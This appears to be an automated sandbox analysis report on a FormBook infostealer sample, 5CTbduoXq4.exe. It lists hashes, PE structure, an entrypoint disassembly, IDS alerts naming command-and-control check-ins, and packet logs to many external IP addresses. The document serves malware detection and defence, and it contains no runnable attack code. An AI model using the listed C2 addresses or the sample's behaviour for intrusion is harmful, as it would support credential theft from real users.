	DF2.exe	Get hash	malicious	Unknown	Browse	173.249.2.110
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	173.249.11.35
	bot.m68k.elf	Get hash	malicious	Mirai	Browse	95.212.118.93
	bot.mips.elf	Get hash	malicious	Mirai	Browse	95.212.118.77

Process:	C:\Users\user\Desktop\5CTbduoXq4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.354384827676232
Encrypted:	false
SSDEEP:	24:MLUE4K5E4K1Bs1qE4qXKDE4KhKMaKhPKIE4oKnKoZAE4KzD1E4x84j:MIHK5HK1Bs1qHiYHKh6oPtHoAhAHKzhp
MD5:	511475387A5161D4052316C38F7FF282
SHA1:	2CE71F7A372D6965DD42B71EEC5E8F81D43343B3
SHA-256:	AD084A10414740C5054EDBCF76007E75F9E7456D3C7C5DA8865F0ECD491A6E61
SHA-512:	E60E0218C46DF20260D81B7A1FBD69BF019C54E36A8ACDB74ADAB91A90BD8960ECC8E16F3872851119DA05E72787433DD3C54E099F9E6526342E05C38D5364C7
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\827465c25133ff582ff7ddaf85635407\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\374ae62ebbde44ef97c7e898f1fdb21b\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\b863adc9d550931e279ac7e2ee517d1f\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\10879c5bddb2dd2399e2098d

C:\Users\user\AppData\Local\Temp\UQ63g7r-

Download File

Process:	C:\Windows\SysWOW64\tzutil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.1142956103012707
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
MD5:	E3F9717F45BF5FFD0A761794A10A5BB5
SHA1:	EBD823E350F725F29A7DE7971CD35D8C9A5616CC
SHA-256:	D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
SHA-512:	F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.702980226057725
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	5CTbduoXq4.exe
File size:	803'328 bytes
MD5:	fa826a652802c95350b775394dc7a6b2
SHA1:	1ffd0826ea0268acb1c12f1f7a5dd83cdbb5820a
SHA256:	0256012dbf3daabd7c7231940b9c5b96395a771ecb345d4a843df3b524c76d16
SHA512:	165912295ed3bd287cf64c078277920945961c31ad4d65f7a00e9c65dedbd10591f67d414f57d9cd30336c15980e7cbabdc15f4cf8b9c69a15476ca0a627109d
SSDEEP:	12288:vNjRdY9shQgXVr5BKveCiaG2x5DwdnDfsNwTQ/v/gG6igzFK07/DHmHoB:/dhlF3tCi0pQDfqwTQngnzU07bHRB
TLSH:	05050264AB1DC413C98517399EB2F678152C9DADF812D2175EE8BF6F3C76B182C18283
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....VVg..............0......(.......7... ...@....@.. ....................................@................................

File Icon


Icon Hash:	17692632b3936907

Static PE Info

General

Entrypoint:	0x4c371a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67565695 [Mon Dec 9 02:31:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push ebx
add byte ptr [ecx+00h], bh
jnc 00007F80389B5472h
je 00007F80389B5472h
add byte ptr [ebp+00h], ch
add byte ptr [ecx+00h], al
arpl word ptr [eax], ax
je 00007F80389B5472h
imul eax, dword ptr [eax], 00610076h
je 00007F80389B5472h
outsd
add byte ptr [edx+00h], dh
push ebx
add byte ptr [ecx+00h], bh
jnc 00007F80389B5472h
je 00007F80389B5472h
add byte ptr [ebp+00h], ch
add byte ptr [edx+00h], dl
add byte ptr [esi+00h], ah
insb
add byte ptr [ebp+00h], ah
arpl word ptr [eax], ax
je 00007F80389B5472h
imul eax, dword ptr [eax], 006E006Fh
add byte ptr [ecx+00h], al
jnc 00007F80389B5472h
jnc 00007F80389B5472h
add byte ptr [ebp+00h], ch
bound eax, dword ptr [eax]
insb
add byte ptr [ecx+00h], bh
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
add byte ptr [edi+00h], ch
popad
add byte ptr [eax+eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc36c8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x2494	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc1780	0xc1800	cf313227ebddf700cff3cff37a8a334f	False	0.9059699006782945	data	7.7084319709201985	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc4000	0x2494	0x2600	ad9da437b2a90b685034c22278cb0f5b	False	0.8696546052631579	data	7.404046678029623	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc8000	0xc	0x200	fe45fbcd3968d8e724a7fcbc25940c45	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc4100	0x1e7e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9827056110684089
RT_GROUP_ICON	0xc5f90	0x14	data	1.05
RT_VERSION	0xc5fb4	0x2e0	data	0.453804347826087
RT_MANIFEST	0xc62a4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:19:24.291809+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49837	38.46.13.54	80	TCP
2025-01-10T23:19:24.291809+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49787	38.46.13.54	80	TCP
2025-01-10T23:20:36.171791+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49763	161.97.142.144	80	TCP
2025-01-10T23:20:36.171791+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49763	161.97.142.144	80	TCP
2025-01-10T23:20:52.529936+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49764	107.155.56.30	80	TCP
2025-01-10T23:20:55.406298+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49765	107.155.56.30	80	TCP
2025-01-10T23:20:58.257224+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49766	107.155.56.30	80	TCP
2025-01-10T23:21:01.109983+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49767	107.155.56.30	80	TCP
2025-01-10T23:21:01.109983+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49767	107.155.56.30	80	TCP
2025-01-10T23:21:07.447111+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49768	13.228.81.39	80	TCP
2025-01-10T23:21:10.322411+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49770	13.228.81.39	80	TCP
2025-01-10T23:21:13.187698+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49771	13.228.81.39	80	TCP
2025-01-10T23:21:16.058838+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49772	13.228.81.39	80	TCP
2025-01-10T23:21:16.058838+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49772	13.228.81.39	80	TCP
2025-01-10T23:21:29.795901+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49773	209.74.77.107	80	TCP
2025-01-10T23:21:32.498408+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49774	209.74.77.107	80	TCP
2025-01-10T23:21:35.218429+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49775	209.74.77.107	80	TCP
2025-01-10T23:21:37.914856+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49776	209.74.77.107	80	TCP
2025-01-10T23:21:37.914856+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49776	209.74.77.107	80	TCP
2025-01-10T23:21:44.058468+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49777	154.205.159.116	80	TCP
2025-01-10T23:21:46.954629+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49778	154.205.159.116	80	TCP
2025-01-10T23:21:49.861383+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49779	154.205.159.116	80	TCP
2025-01-10T23:21:52.708705+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49780	154.205.159.116	80	TCP
2025-01-10T23:21:52.708705+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49780	154.205.159.116	80	TCP
2025-01-10T23:21:59.564676+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49781	3.33.130.190	80	TCP
2025-01-10T23:22:00.848480+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49782	3.33.130.190	80	TCP
2025-01-10T23:22:04.412600+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49783	3.33.130.190	80	TCP
2025-01-10T23:22:06.159893+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49784	3.33.130.190	80	TCP
2025-01-10T23:22:06.159893+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49784	3.33.130.190	80	TCP
2025-01-10T23:22:12.229749+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49785	38.46.13.54	80	TCP
2025-01-10T23:22:15.065804+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49786	38.46.13.54	80	TCP
2025-01-10T23:22:20.711543+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49788	38.46.13.54	80	TCP
2025-01-10T23:22:20.711543+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49788	38.46.13.54	80	TCP
2025-01-10T23:22:26.557006+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49789	46.253.5.221	80	TCP
2025-01-10T23:22:29.350659+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49790	46.253.5.221	80	TCP
2025-01-10T23:22:32.159897+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49791	46.253.5.221	80	TCP
2025-01-10T23:22:34.955023+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49792	46.253.5.221	80	TCP
2025-01-10T23:22:34.955023+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49792	46.253.5.221	80	TCP
2025-01-10T23:22:40.910771+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49793	146.88.233.115	80	TCP
2025-01-10T23:22:43.422525+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49794	146.88.233.115	80	TCP
2025-01-10T23:22:46.237731+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49795	146.88.233.115	80	TCP
2025-01-10T23:22:48.948988+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49796	146.88.233.115	80	TCP
2025-01-10T23:22:48.948988+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49796	146.88.233.115	80	TCP
2025-01-10T23:24:38.406995+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49798	63.250.43.134	80	TCP
2025-01-10T23:24:43.103544+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49799	63.250.43.134	80	TCP
2025-01-10T23:24:43.843066+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49800	63.250.43.134	80	TCP
2025-01-10T23:24:46.541497+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49801	63.250.43.134	80	TCP
2025-01-10T23:24:46.541497+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49801	63.250.43.134	80	TCP
2025-01-10T23:24:54.182632+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49802	104.21.40.167	80	TCP
2025-01-10T23:24:56.838350+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49803	104.21.40.167	80	TCP
2025-01-10T23:24:59.493966+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49804	104.21.40.167	80	TCP
2025-01-10T23:25:39.797186+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49805	104.21.40.167	80	TCP
2025-01-10T23:25:39.797186+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49805	104.21.40.167	80	TCP
2025-01-10T23:25:45.487466+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49806	104.21.4.93	80	TCP
2025-01-10T23:25:48.131777+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49807	104.21.4.93	80	TCP
2025-01-10T23:25:50.791161+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49808	104.21.4.93	80	TCP
2025-01-10T23:25:53.470524+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49809	104.21.4.93	80	TCP
2025-01-10T23:25:53.470524+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49809	104.21.4.93	80	TCP
2025-01-10T23:25:59.055486+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49810	107.167.84.42	80	TCP
2025-01-10T23:26:01.752383+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49811	107.167.84.42	80	TCP
2025-01-10T23:26:06.450681+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49812	107.167.84.42	80	TCP
2025-01-10T23:26:09.139075+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49813	107.167.84.42	80	TCP
2025-01-10T23:26:09.139075+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49813	107.167.84.42	80	TCP
2025-01-10T23:26:17.689388+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49814	161.97.142.144	80	TCP
2025-01-10T23:26:17.689388+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49814	161.97.142.144	80	TCP
2025-01-10T23:26:23.357152+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49815	107.155.56.30	80	TCP
2025-01-10T23:26:26.216544+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49816	107.155.56.30	80	TCP
2025-01-10T23:26:29.090121+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49817	107.155.56.30	80	TCP
2025-01-10T23:26:31.958843+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49818	107.155.56.30	80	TCP
2025-01-10T23:26:31.958843+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49818	107.155.56.30	80	TCP
2025-01-10T23:26:37.651900+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49819	13.228.81.39	80	TCP
2025-01-10T23:26:40.526802+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49820	13.228.81.39	80	TCP
2025-01-10T23:26:43.419009+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49821	13.228.81.39	80	TCP
2025-01-10T23:26:46.277373+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49822	13.228.81.39	80	TCP
2025-01-10T23:26:46.277373+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49822	13.228.81.39	80	TCP
2025-01-10T23:26:59.834704+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49823	209.74.77.107	80	TCP
2025-01-10T23:27:02.550915+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49824	209.74.77.107	80	TCP
2025-01-10T23:27:05.268891+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49825	209.74.77.107	80	TCP
2025-01-10T23:27:07.950511+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49826	209.74.77.107	80	TCP
2025-01-10T23:27:07.950511+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49826	209.74.77.107	80	TCP
2025-01-10T23:27:13.719808+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49827	154.205.159.116	80	TCP
2025-01-10T23:27:16.602685+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49828	154.205.159.116	80	TCP
2025-01-10T23:27:19.478663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49829	154.205.159.116	80	TCP
2025-01-10T23:27:22.336257+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49830	154.205.159.116	80	TCP
2025-01-10T23:27:22.336257+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49830	154.205.159.116	80	TCP
2025-01-10T23:27:28.992478+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49831	3.33.130.190	80	TCP
2025-01-10T23:27:31.191228+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49832	3.33.130.190	80	TCP
2025-01-10T23:27:32.938718+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49833	3.33.130.190	80	TCP
2025-01-10T23:27:35.586078+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49834	3.33.130.190	80	TCP
2025-01-10T23:27:35.586078+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49834	3.33.130.190	80	TCP
2025-01-10T23:27:41.215926+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49835	38.46.13.54	80	TCP
2025-01-10T23:27:44.072194+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49836	38.46.13.54	80	TCP
2025-01-10T23:27:49.716319+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49838	38.46.13.54	80	TCP
2025-01-10T23:27:49.716319+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49838	38.46.13.54	80	TCP
2025-01-10T23:27:55.399142+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49839	46.253.5.221	80	TCP
2025-01-10T23:27:58.194995+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49840	46.253.5.221	80	TCP
2025-01-10T23:28:01.536950+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49841	46.253.5.221	80	TCP
2025-01-10T23:28:04.322163+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49842	46.253.5.221	80	TCP
2025-01-10T23:28:04.322163+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49842	46.253.5.221	80	TCP
2025-01-10T23:28:15.056682+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49843	146.88.233.115	80	TCP
2025-01-10T23:28:17.574189+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49844	146.88.233.115	80	TCP
2025-01-10T23:28:20.382895+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49845	146.88.233.115	80	TCP
2025-01-10T23:28:23.115325+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49846	146.88.233.115	80	TCP
2025-01-10T23:28:23.115325+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49846	146.88.233.115	80	TCP
2025-01-10T23:28:28.603938+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49847	199.59.243.228	80	TCP
2025-01-10T23:28:31.256070+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49848	199.59.243.228	80	TCP
2025-01-10T23:28:33.911365+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49849	199.59.243.228	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:20:35.737726927 CET	49763	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:20:35.949654102 CET	80	49763	161.97.142.144	192.168.11.20
Jan 10, 2025 23:20:35.949876070 CET	49763	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:20:35.957684040 CET	49763	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:20:36.169744968 CET	80	49763	161.97.142.144	192.168.11.20
Jan 10, 2025 23:20:36.171411991 CET	80	49763	161.97.142.144	192.168.11.20
Jan 10, 2025 23:20:36.171442032 CET	80	49763	161.97.142.144	192.168.11.20
Jan 10, 2025 23:20:36.171504974 CET	80	49763	161.97.142.144	192.168.11.20
Jan 10, 2025 23:20:36.171791077 CET	49763	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:20:36.171791077 CET	49763	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:20:36.175740004 CET	49763	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:20:36.387562990 CET	80	49763	161.97.142.144	192.168.11.20
Jan 10, 2025 23:20:51.857728004 CET	49764	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:52.188314915 CET	80	49764	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:52.188586950 CET	49764	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:52.199682951 CET	49764	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:52.529745102 CET	80	49764	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:52.529771090 CET	80	49764	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:52.529778957 CET	80	49764	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:52.529936075 CET	49764	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:53.704256058 CET	49764	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:54.721663952 CET	49765	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:55.058048010 CET	80	49765	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:55.058268070 CET	49765	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:55.069308043 CET	49765	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:55.405744076 CET	80	49765	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:55.405814886 CET	80	49765	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:55.406075001 CET	80	49765	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:55.406297922 CET	49765	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:56.578726053 CET	49765	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:57.596821070 CET	49766	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:57.920722008 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:57.920964003 CET	49766	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:57.932663918 CET	49766	80	192.168.11.20	107.155.56.30
